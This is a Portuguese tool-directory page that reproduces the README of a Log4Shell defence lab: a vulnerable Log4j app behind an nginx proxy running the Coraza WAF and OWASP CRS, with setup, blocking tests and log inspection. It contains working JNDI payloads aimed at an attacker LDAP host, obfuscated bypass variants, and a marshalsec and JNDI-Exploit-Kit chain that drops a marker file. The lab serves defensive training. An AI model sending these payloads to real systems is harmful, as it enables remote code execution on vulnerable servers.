Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
log4shell-coraza — Laboratório de defesa contra Log4Shell (CVE-2021-44228) — nginx + módulo dinâmico Coraza WAF + OWASP CRS v4. Uso educacional apenas. | Kitploit
Ferramentas/GitHubGitHub/tieupham267/log4shell-coraza
Ferramentas DefensivasScanners de VulnerabilidadesExploraçãoEvasão de IDS/IPSBypass de WAFSegurança WebTestes de PenetraçãoDetecção de IntrusãoAprendizado e EducaçãoAnálise de LogsLabs e Prática
há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
tieupham267/log4shell-coraza

log4shell-coraza

Laboratório de defesa contra Log4Shell (CVE-2021-44228) — nginx + módulo dinâmico Coraza WAF + OWASP CRS v4. Uso educacional apenas.

Ver Repositório

Log4Shell Security Lab — nginx + Coraza WAF

Propósito educacional/defensivo: este laboratório contém um aplicativo intencionalmente vulnerável (Log4j 2.14.1) e um kit de exploit JNDI, APENAS para aprender a detectar e bloquear Log4Shell em ambiente isolado. Não implantar na Internet, não usar para atacar sistemas que não lhe pertencem.

Lab prático de defesa contra Log4Shell (CVE-2021-44228) usando nginx integrado com Coraza WAF (módulo dinâmico) + OWASP CRS v4 + conjunto de regras customizadas JNDI. Acompanham o container target Spring Boot vulnerável, attacker-box Kali, e Suricata + Wazuh para observação.


1. Arquitetura

root@kitploit:~
Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│   ├── nginx-proxy        ← entrypoint :80/:443, tem o módulo Coraza + CRS v4
│   ├── attacker-box       ← Kali + kits de exploit JNDI
│   └── suricata-ids       ← fareja o tráfego da dmz
│
└── backend-net (172.22.0.0/24, internal: true)
    ├── nginx-proxy        ← segunda NIC
    ├── log4shell-app      ← Spring Boot Log4j 2.14.1
    ├── wazuh-manager      ← SIEM
    └── wazuh-dashboard    ← UI

Request flow: client → nginx (Coraza inspect) → log4shell-app. O WAF roda dentro do nginx (através do módulo ngx_http_coraza_module.so), não é um container separado.


2. Requisitos

ItemVersão mínima
Docker Desktop / Engine24+ com Compose v2
RAM livre4 GB (Wazuh consome ~1.5 GB)
Disco livre6 GB (artefatos de build das imagens)
Tempo do primeiro build10–15 minutos (libcoraza + módulo nginx + ferramentas Maven do atacante)

3. Bootstrap — primeira execução

Passo 3.1 — Build das imagens

root@kitploit:~
cd /path/to/log4shell-nginx-coraza
docker compose build

A etapa mais lenta é nginx (build da libcoraza v1.4.0 com Go 1.25, depois compilar o módulo coraza-nginx). Fica em cache após a primeira vez.

Passo 3.2 — Iniciar a stack

root@kitploit:~
docker compose up -d
docker compose ps

Após ~30s, status esperado:

Passo 3.3 — Smoke test

root@kitploit:~
# nginx liveness
curl http://localhost/health
# → "nginx proxy healthy"

# através do WAF até o app (endpoint real do log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"

curl http://localhost/ sem o header X-Api-Version retorna 400 — é o whitelabel error do Spring Boot (sem handler), não é bloqueio do WAF.


4. Testar o bloqueio de Log4Shell pelo WAF

Passo 4.1 — Payload básico

root@kitploit:~
# JNDI no User-Agent → regra 1910010 dispara, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/

# JNDI no header que o app loga: X-Api-Version → regra 1910001 (header+arg) dispara, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/

# JNDI na query string → CRS phase 1 bloqueia
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'

Esperado: HTTP/1.1 403 Forbidden, body <html>... 403 Forbidden ... nginx ...</html>.

Passo 4.2 — Payload ofuscado

root@kitploit:~
# Lower trick (regra 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/

# Colon-dash-dash (regra 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/

Passo 4.3 — Payload em corpo JSON

root@kitploit:~
curl -i -X POST -H 'Content-Type: application/json' \
  -d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
  http://localhost/api/log
# → 403 (regra 1910026: Content-Type=json + body contém jndi)

5. Inspecionar logs do WAF

Log de auditoria do Coraza (JSON)

root@kitploit:~
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
    try:
        d=json.loads(ln)
        t=d['transaction']
        ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
        st=t['response']['status']
        for m in t.get('messages') or []:
            print(f'{st}  {ua}  ::  {m[\"error_message\"][:160]}')
    except: pass
"

Cada evento JSON Lines contém:

  • transaction.is_interrupted: true → WAF bloqueou
  • messages[].error_message → qual regra disparou, arquivo e linha, severidade

Log de acesso do nginx

root@kitploit:~
docker exec nginx-proxy tail -f /var/log/nginx/access.log

Filtrar bloqueios:

root@kitploit:~
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'

Caminhos montados no host

root@kitploit:~
./logs/nginx/      ← access.log, error.log
./logs/coraza/     ← audit.log (JSON), debug.log

6. Cadeia de exploit real — attacker-box → log4shell-app

Por padrão, backend-net está com internal: true e attacker-box está apenas em dmz-net, portanto o log4shell-app NÃO alcança o attacker-box. Para a cadeia JNDI funcionar de ponta a ponta, faça o Passo 6.0 antes.

Passo 6.0 — Permitir que o log4shell-app acesse o attacker-box

Edite docker-compose.yml, adicione attacker-box a backend-net:

root@kitploit:~
  attacker-box:
    networks:
      - dmz-net
      - backend-net    # <— adicionar

Ou mova o log4shell-app para dmz-net (mais simples, mas reduz o valor educacional sobre segmentação):

root@kitploit:~
  log4shell-app:
    networks:
      - backend-net
      - dmz-net        # <— adicionar

Aplicar: docker compose up -d (o Compose recria apenas esse container).

Passo 6.1 — Iniciar o servidor de exploit JNDI dentro do attacker-box

root@kitploit:~
docker exec -it kali-attacker bash
cd /opt/exploits

# Option A: marshalsec — simples, apenas relay LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2

# Option B: JNDI-Exploit-Kit — toolkit completo, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit

O servidor escuta em LDAP :1389 e HTTP :8888 (expostos para o host no compose).

Passo 6.2 — Teste de bypass: chamar o app diretamente (sem WAF) para confirmar a vulnerabilidade

root@kitploit:~
# A partir do attacker-box, chamar o log4shell-app diretamente na backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/

Verificar:

root@kitploit:~
# Marcador pwned criado dentro do container do app
docker exec victim-app ls -la /tmp/pwned

Se o arquivo existir → a cadeia de exploit está OK, o app continua vulnerável, e o WAF NÃO é bypassado quando o tráfego passa pelo caminho principal.

Passo 6.3 — Verificar que o WAF bloqueia o mesmo payload pelo caminho principal

root@kitploit:~
# Passando pelo nginx (caminho público principal)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, NENHUM novo /tmp/pwned

7. Ajustar regras (sem rebuild)

O arquivo ./coraza/config/log4shell-rules.conf é montado :ro no nginx em /etc/nginx/coraza/log4shell-rules.conf. Depois de editar:

root@kitploit:~
docker exec nginx-proxy nginx -t      # verificação de sintaxe
docker exec nginx-proxy nginx -s reload

Se o Coraza acusar erro de parsing (failed to compile the directive...), os workers saem e nginx -s reload não consegue recriá-los. Nesse caso:

root@kitploit:~
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log

Layout das regras carregadas no WAF

Ordem dos includes (em nginx/coraza/main.conf, embutido na imagem):

  1. Engine config: SecRuleEngine On, audit log, debug log
  2. crs-setup.conf — inicializa tx.*_anomaly_score, limiares
  3. owasp-crs/rules/*.conf — todo o CRS v4.7.0
  4. log4shell-rules.conf — regras customizadas (montadas a partir do host)

Faixa de IDs das regras customizadas: 1910001 – 1910999 (evita a faixa do CRS 900000–999999).

Limitações de sintaxe do Coraza vs ModSecurity

  • A severidade aceita apenas os enums padrão: EMERGENCY, ALERT, CRITICAL, ERROR, WARNING, NOTICE, INFO, DEBUG. HIGH/LOW são inválidos.
  • Coleções persistentes (IP:, SESSION:, RESOURCE:) não funcionam sem configurar um backing store. Use tx. para por-request ou faça rate-limit via nginx limit_req_zone.

8. Troubleshooting

nginx UP mas (unhealthy) / curl localhost pendurado

root@kitploit:~
docker exec nginx-proxy tail -20 /var/log/nginx/error.log | grep coraza

Normalmente causado por regra nova com sintaxe errada → todos os workers saem com código 2. Corrija a regra e execute docker compose restart nginx.

failed to create WAF: ... unknown severity: HIGH

Troque severity:'HIGH' → severity:'ERROR' na regra customizada.

failed to compile the directive "secrule": invalid arguments, expected collection TX

A regra está usando setvar:ip.xxx ou referenciando IP:something / TX:NEVER_DECLARED. Remova a coleção persistente ou consolide a lógica em uma única chain rule.

Suricata Exited (1)

A imagem jasonish/suricata:latest tem entrypoint próprio e o yaml montado a partir de ./suricata/config/ pode ser incompatível com a versão da imagem. Solução rápida: comente temporariamente o serviço suricata no compose; o lab continua funcionando normalmente (não precisa de IDS para o Coraza funcionar). Para corrigir definitivamente, substitua suricata.yaml pelo default da imagem (docker run --rm jasonish/suricata cat /etc/suricata/suricata.yaml.dist > suricata/config/suricata.yaml).

log4shell-app sai logo após iniciar

A imagem base é Alpine 3.8 EOL. Garanta que o command no compose seja ["java", "-jar", "/app/spring-boot-application.jar"] (SEM apk add iptables — o repositório do Alpine 3.8 está 404).

Dashboard Wazuh inacessível em http://localhost:5601

Wazuh manager + dashboard precisam de wazuh-indexer (OpenSearch) para funcionar plenamente. A stack atual não tem esse serviço — o dashboard inicia, mas o login falha. Para quando precisar de verdade, adicione o serviço wazuh-indexer conforme o compose oficial.


9. Cleanup

root@kitploit:~
# Parar + remover containers, mantendo o cache de imagens
docker compose down

# Nuke completo (incluindo volumes do Wazuh, forçando rebuild na próxima)
docker compose down -v

# Remover também as imagens de build (libera ~3 GB)
docker rmi log4shell-nginx-coraza-nginx log4shell-nginx-coraza-attacker-box

10. Estrutura de diretórios

root@kitploit:~
log4shell-nginx-coraza/
├── docker-compose.yml
├── nginx/
│   ├── Dockerfile              # multi-stage: libcoraza + coraza-nginx + CRS v4
│   ├── nginx.conf              # load_module + coraza on; em http{}
│   ├── conf/
│   │   └── default.conf        # reverse proxy → log4shell-app:8080
│   └── coraza/
│       └── main.conf           # engine config + Include CRS + custom
├── coraza/
│   └── config/
│       └── log4shell-rules.conf  # regras customizadas JNDI, montadas :ro no nginx
├── attacker/
│   ├── Dockerfile              # Kali + marshalsec + JNDI-Exploit-Kit + rogue-jndi
│   ├── scripts/
│   │   ├── start-ldap-server.sh
│   │   └── test-payloads.sh
│   └── exploit-classes/
│       └── Exploit.java
├── suricata/
│   ├── config/
│   └── rules/
├── wazuh/config/
└── logs/                        # pontos de montagem para nginx, coraza, app, suricata, wazuh

11. Referência de IDs de regras

RangeResponsabilidadeCoincide com range do CRS?
900000–999999OWASP CRS v4 (init, IP rep, protocol, RCE, SQLi, XSS, scanners, blocking eval)(pertence ao CRS)
1910000–1910999Regras customizadas Log4ShellNão

Todos os IDs das regras customizadas atuais: 1910001–1910008 (padrões JNDI), 1910010–1910014 (por header), 1910015 (protocolos alternativos), 1910020 (detecção de scanning), 1910026 (chain de corpo JSON), 1910028 (chain de corpo XML), 1910030 (paranoia 3), 1910999 (echo de avaliação de anomalia).


Fim: se o lab chegar ao Passo 4, o WAF já está funcionando. O Passo 6 só é necessário quando quiser demonstrar a cadeia de exploit completa de ponta a ponta.

Baixar ferramenta
ServiceSTATUS
nginx-proxyUp (healthy)
victim-appUp
kali-attackerUp
wazuh-siem, wazuh-webUp
suricata-idspode estar Restarting (veja a seção 8 — não bloqueia o lab)
  • TX:VARNAME só pode referenciar variáveis com setvar na mesma request. Se a regra estiver em outra fase, considere agregar em uma chain rule.